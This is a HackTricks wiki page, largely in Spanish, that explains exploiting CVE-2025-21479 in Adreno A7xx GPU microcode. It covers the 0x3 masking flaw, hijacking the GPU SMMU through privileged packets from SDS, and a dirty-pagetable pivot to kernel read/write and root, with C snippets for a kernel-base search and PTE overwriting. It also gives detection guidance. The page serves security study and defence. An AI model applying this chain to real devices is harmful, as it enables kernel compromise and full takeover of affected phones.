Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)
Tip
Aprende y practica Hacking en AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Esta página abstrae un bug lógico de microcódigo Adreno A7xx encontrado en la naturaleza (CVE-2025-21479) en técnicas de explotación reproducibles: abusar del enmascaramiento a nivel IB en Set Draw State (SDS) para ejecutar privileged GPU packets desde una aplicación no privilegiada, pivotar a GPU SMMU takeover y luego a un kernel R/W rápido y estable mediante un dirty-pagetable trick.
- Afectado: Qualcomm Adreno A7xx GPU firmware antes de una corrección de microcódigo que cambió el masking del registro $12 de 0x3 a 0x7.
- Primitiva: Ejecutar privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) desde SDS, que está controlado por el usuario.
- Resultado: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
- Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).
Background: IB levels, SDS and the $12 mask
- El kernel mantiene un ringbuffer (RB=IB0). Userspace submits IB1 via CP_INDIRECT_BUFFER, chaining to IB2/IB3.
- SDS es un flujo de comandos especial al que se entra vía CP_SET_DRAW_STATE:
- A6xx: SDS is treated as IB3
- A7xx: SDS moved to IB4
- El microcódigo rastrea el nivel IB actual en el registro $12 y filtra los paquetes privilegiados para que solo sean aceptados cuando el nivel efectivo corresponde a IB0 (kernel RB).
- Error: el microcódigo A7xx seguía enmascarando $12 con 0x3 (2 bits) en vez de 0x7 (3 bits). Dado que IB4 & 0x3 == 0, SDS fue identificado erróneamente como IB0, permitiendo privileged packets desde SDS controlado por el usuario.
Por qué importa:
A6XX | A7XX
RB & 3 == 0 | RB & 3 == 0
IB1 & 3 == 1 | IB1 & 3 == 1
IB2 & 3 == 2 | IB2 & 3 == 2
IB3 (SDS) & 3 == 3 | IB3 & 3 == 3
| IB4 (SDS) & 3 == 0 <-- misread as IB0 if mask is 0x3
Ejemplo de diff de microcódigo (el parche cambió la máscara a 0x7):
@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7
Resumen de la explotación
Goal: From SDS (misread as IB0) issue privileged CP packets to re-point the GPU SMMU to attacker-crafted page tables, then use GPU copy/write packets for arbitrary physical R/W. Finally, pivot to a fast CPU-side R/W via dirty pagetable.
Cadena a alto nivel
- Crear una tabla de páginas GPU falsa en memoria compartida
- Entrar en SDS y ejecutar:
- CP_SMMU_TABLE_UPDATE -> switch to fake pagetable
- CP_MEM_WRITE / CP_MEM_TO_MEM -> implement write/read primitives
- CP_SET_DRAW_STATE with run-now flags (dispatch immediately)
Primitivas GPU R/W vía tabla de páginas falsa
- Write: CP_MEM_WRITE a un GPU VA elegido por el atacante cuyas PTEs mapeas a un PA elegido -> escritura física arbitraria
- Read: CP_MEM_TO_MEM copia 4/8 bytes desde el PA objetivo a un buffer compartido en userspace (hacer batch para lecturas más grandes)
Notas
- Cada proceso Android obtiene un KGSL context (IOCTL_KGSL_GPU_CONTEXT_CREATE). Cambiar de context normalmente actualiza las SMMU tables en el RB; el bug te permite hacerlo en SDS.
- El tráfico GPU excesivo puede causar apagones de UI y reboots; las lecturas son pequeñas (4/8B) y el sync es lento por defecto.
Building the SDS command sequence
- Spray una tabla de páginas GPU falsa en memoria compartida de modo que al menos una instancia quede en una dirección física conocida (p. ej., mediante allocator grooming y repetición).
- Construir un buffer SDS que contenga, en orden:
- CP_SMMU_TABLE_UPDATE a la dirección física de la tabla de páginas falsa
- Uno o más paquetes CP_MEM_WRITE y/o CP_MEM_TO_MEM para implementar R/W usando tus nuevas traducciones
- CP_SET_DRAW_STATE con flags para run-now
La codificación exacta de los paquetes varía según el firmware; usa freedreno’s afuc/packet docs para ensamblar las palabras, y asegúrate de que la ruta de submission SDS sea la utilizada por el driver.
Finding Samsung kernel physbase under physical KASLR
Samsung randomizes the kernel physical base within a known region on Snapdragon devices. Brute-force the expected range and look for the first 16 bytes of _stext.
Bucle representativo
while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue; // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) { // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}
Una vez conocido physbase, calcula la dirección virtual del kernel con el mapeo lineal:
_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)
Estabilización hacia R/W del kernel rápido y fiable desde la CPU (dirty pagetable)
GPU R/W es lento y de granularidad reducida. Cambia a un primitivo rápido y estable corrompiendo los PTEs de tu propio proceso (“dirty pagetable”):
Pasos
- Localiza el task_struct actual -> mm_struct -> mm_struct->pgd usando las primitivas lentas de GPU R/W
- mmap dos páginas de espacio de usuario adyacentes A y B (p. ej., en 0x1000)
- Recorre PGD->PMD->PTE para resolver las direcciones físicas de los PTEs de A/B (helpers: get_pgd_offset, get_pmd_offset, get_pte_offset)
- Sobrescribe el PTE de B para que apunte al pagetable de último nivel que gestiona A/B con atributos RW (phys_to_readwrite_pte)
- Escribe vía la VA de B para mutar el PTE de A y mapear PFNs objetivo; lee/escribe memoria kernel vía la VA de A, vaciando TLB hasta que un sentinel cambie
Ejemplo de snippet de dirty-pagetable pivot
```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);
uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();
</details>
## Detección
- Telemetría: alertar si CP_SMMU_TABLE_UPDATE (u opcodes privilegiados similares) aparece fuera de RB/IB0, especialmente en SDS; monitorizar ráfagas anómalas de CP_MEM_TO_MEM de 4/8 bytes y patrones excesivos de flush de TLB
## Impacto
Una app local con acceso a la GPU puede ejecutar paquetes GPU privilegiados, secuestrar el GPU SMMU, lograr R/W arbitrario del kernel (físico/virtual), deshabilitar SELinux y obtener root en dispositivos Snapdragon A7xx afectados (p. ej., Samsung S23). Severidad: Alta (compromiso del kernel).
### Véase también
<a class="content_ref" href="pixel-bigwave-bigo-job-timeout-uaf-kernel-write.md"><span class="content_ref_label">Pixel Bigwave Bigo Job Timeout Uaf Kernel Write</span></a>
## Referencias
- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)
> [!TIP]
> Aprende y practica Hacking en AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Aprende y practica Hacking en GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Aprende y practica Hacking en Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Apoya a HackTricks</summary>
>
> - Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
> - **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos en** **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
>
> </details>


